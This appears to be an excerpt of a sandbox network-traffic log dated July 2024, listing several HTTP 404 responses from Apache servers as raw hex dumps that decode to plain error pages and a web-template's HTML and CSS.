3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 78 30 36 6b 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /x06k/ was not found on this server.</p></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:20 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Fri, 27 Oct 2023 06:26:05 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:23 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Fri, 27 Oct 2023 06:26:05 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:26 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Fri, 27 Oct 2023 06:26:05 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:28 GMTContent-Type: text/htmlContent-Length: 19268Connection: closeServer: ApacheLast-Modified: Fri, 27 Oct 2023 06:26:05 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:34 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65 73
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:37 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 26 66 61 6d 69 6c 79 3d 4a 6f 73 74 3a 77 67 68 74 40 35 30 30 3b 36 30 30 3b 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 20 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65 73
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:40 GMTServer: ApacheContent-Length: 11834Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 44 47 69 74 61 6c 20 2d 20 44 69 67 69 74 61 6c 20 41 67 65 6e 63 79 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 